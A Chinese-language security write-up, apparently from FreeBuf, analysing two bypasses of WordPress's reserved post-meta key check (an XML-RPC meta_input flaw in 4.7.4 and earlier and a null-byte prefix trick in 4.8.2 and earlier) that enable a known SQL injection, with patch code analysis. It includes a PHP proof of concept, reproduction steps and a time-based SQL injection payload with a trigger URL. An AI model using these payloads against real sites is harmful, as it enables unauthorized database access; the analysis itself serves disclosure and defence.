*本文作者:Ambulong,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。
之前有一些文章已对WordPress(4.8.2及以下版本)的SQL注入进行了分析。看过漏洞分析的同学应该可以发现该漏洞的利用除了需要编辑权限之外,还有一个关键步骤,需要将Payload作为_thumbnail_id的metavalue写入数据库,但是以“开头的meta_key为系统保留key,无法作为自定义key添加。本文将介绍两种添加_thumbnail_id的方法。
WordPress中的POST META为文章的自定义栏目/字段,就如一篇文章中会有标题、作者等字段,但是对于有些主题/插件来说,文章中的自有字段显得不够用,就需要用到自定义栏目/字段。
(该操作的位置在添加/编辑文章,在文本编辑框下方的自定义栏目,如果没有找到自定义栏目,需要在右上角的显示选项内将自定义栏目勾选。)
自定义栏目/字段的数据以meta_key(字段/栏目名)->meta_value(值)的形式存放在wp_postmeta表内。以下划线开头的meta_key(字段/栏目名)被认为是保留字段,不允许用户添加。
本文将介绍如何绕过Wordpress的meta_key检查,添加字段/栏目名以下划线开头的自定义栏目/字段。
第一章 WordPress ≤ 4.7.4 XML-RPC API POST META 未校验漏洞
参考内容:WordPress 4.7.5 Security and Maintenance Release
1.1 POC
$usr = ‘author’;$pwd = ‘author’;$xmlrpc = ‘http://local.target/xmlrpc.php‘;$client = new IXR_Client($xmlrpc);$content = array(“ID” => 6, ‘meta_input’ => array(“_thumbnail_id”=>”xxx”));$res = $client->query(‘wp.editPost’,0, $usr, $pwd, 6/post_id/, $content);
POC来自 WordPress SQLi — PoC by slavco
1.2 漏洞分析
补丁位置:wp-includes/class-wp-xmlrpc-server.php
{% asset_img 1.2.1.png 漏洞分析 %}
根据补丁的内容,是将传入的$content_struct内容进行了白名单限制,同时也过滤了POC中的meta_input。
1.先看修复后的_insert_post函数中我们关注代码(文件:wp-includes/class-wp-xmlrpc-server.php)
protected function _insert_post( $user, $content_struct ) { $defaults = array( ...//ignore 'custom_fields' => null, 'terms_names' => null, 'terms' => null, 'sticky' => null, 'enclosure' => null, 'ID' => null, ); $post_data = wp_parse_args( array_intersect_key( $content_struct, $defaults ), $defaults ); ...//ignore if ( isset( $post_data['custom_fields'] ) ) $this->set_custom_fields( $post_ID, $post_data['custom_fields'] ); ...//ignore $post_ID = $update ? wp_update_post( $post_data, true ) : wp_insert_post( $post_data, true ); if ( is_wp_error( $post_ID ) ) return new IXR_Error( 500, $post_ID->get_error_message() ); if ( ! $post_ID ) return new IXR_Error( 401, __( 'Sorry, your entry could not be posted.' ) ); return strval( $post_ID ); }
按正常的业务流程,POST META应当是从custom_fields中获取,之后带入set_custom_fields函数中,而且set_custom_fields函数会对meta_key进行检查,不应当存在问题。
但是在wp_update_post函数与wp_insert_post函数中,会从$post_data['meta_input']中取出数据,不经检查直接添加到自定义栏目/字段中。
2.函数wp_insert_post中我们关注的代码(文件:wp-includes/post.php)
function wp_insert_post( $postarr, $wp_error = false ) { ...//ignore $postarr = wp_parse_args($postarr, $defaults); unset( $postarr[ 'filter' ] ); $postarr = sanitize_post($postarr, 'db'); ...//ignore if ( ! empty( $postarr['meta_input'] ) ) { foreach ( $postarr['meta_input'] as $field => $value ) { update_post_meta( $post_ID, $field, $value ); } } ...//ignore } 第二章 WordPress ≤ 4.8.2 POST META 校验绕过漏洞
WordPress目前最新版为4.8.3,建议大家更新。
2.1 一个MySQL的trick
1). 正常的条件查询语句
mysql> SELECT * FROM wp_postmeta WHERe meta_key = '_thumbnail_id'; +---------+---------+----------------+------------+ | meta_id | post_id | meta_key | meta_value | +---------+---------+----------------+------------+ | 4 | 4 | _thumbnail_id | TESTC | +---------+---------+----------------+------------+ 1 row in set (0.00 sec)
2). 现在我们将_thumbnail_id修改成”\x00_thumbnail_id”
mysql> update wp_postmeta set meta_key = concat(0x00,'TESTC') where meta_value = '_thumbnail_id'; Query OK, 0 rows affected (0.00 sec) Rows matched: 0 Changed: 0 Warnings: 0
3). 再次执行第一步的查询
mysql> SELECT * FROM wp_postmeta WHERe meta_key = '_thumbnail_id'; +---------+---------+----------------+------------+ | meta_id | post_id | meta_key | meta_value | +---------+---------+----------------+------------+ | 4 | 4 | _thumbnail_id | TESTC | +---------+---------+----------------+------------+ 1 row in set (0.00 sec)
我们可以发现依然可以查询出修改后的数据。
2.2 POST META 校验绕过
我们来看下检查meta_key的代码,文件./wp-includes/meta.php:
function is_protected_meta( $meta_key, $meta_type = null ) { $protected = ( '_' == $meta_key[0] ); return apply_filters( 'is_protected_meta', $protected, $meta_key, $meta_type ); }
is_protected_meta函数只检查了$meta_key的第一个字符是否以_开头。我们有了2.1的MySQL trick,想要绕过meta_key的检查就显得容易多了。
2.3 POC
- 添加自定义字段,meta_key为’_thumbnail_id’的meta_value为’55 %1$%s or sleep(10)#’
- 在添加自定义栏目/字段时抓包,将_thumbnail_id替换为%00_thumbnail_id
- 访问/wp-admin/edit.php?action=delete&_wpnonce=xxx&ids=55 %1$%s or sleep(10)#,触发SQL注入漏洞
- WordPress 4.7.5 Security and Maintenance Release – https://wordpress.org/news/2017/05/wordpress-4-7-5/
- WordPress SQLi — PoC by slavco – https://medium.com/websec/wordpress-sqli-poc-f1827c20bf8e
- WordPress post meta data checks bypass – https://hackerone.com/reports/265484
- WordPress <= 4.8.2 SQL Injection POC – http://blog.vulspy.com/2017/11/09/Wordpress-4-8-2-SQL-Injection-POC/
*本文作者:Ambulong,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。返回搜狐,查看更多
责任编辑: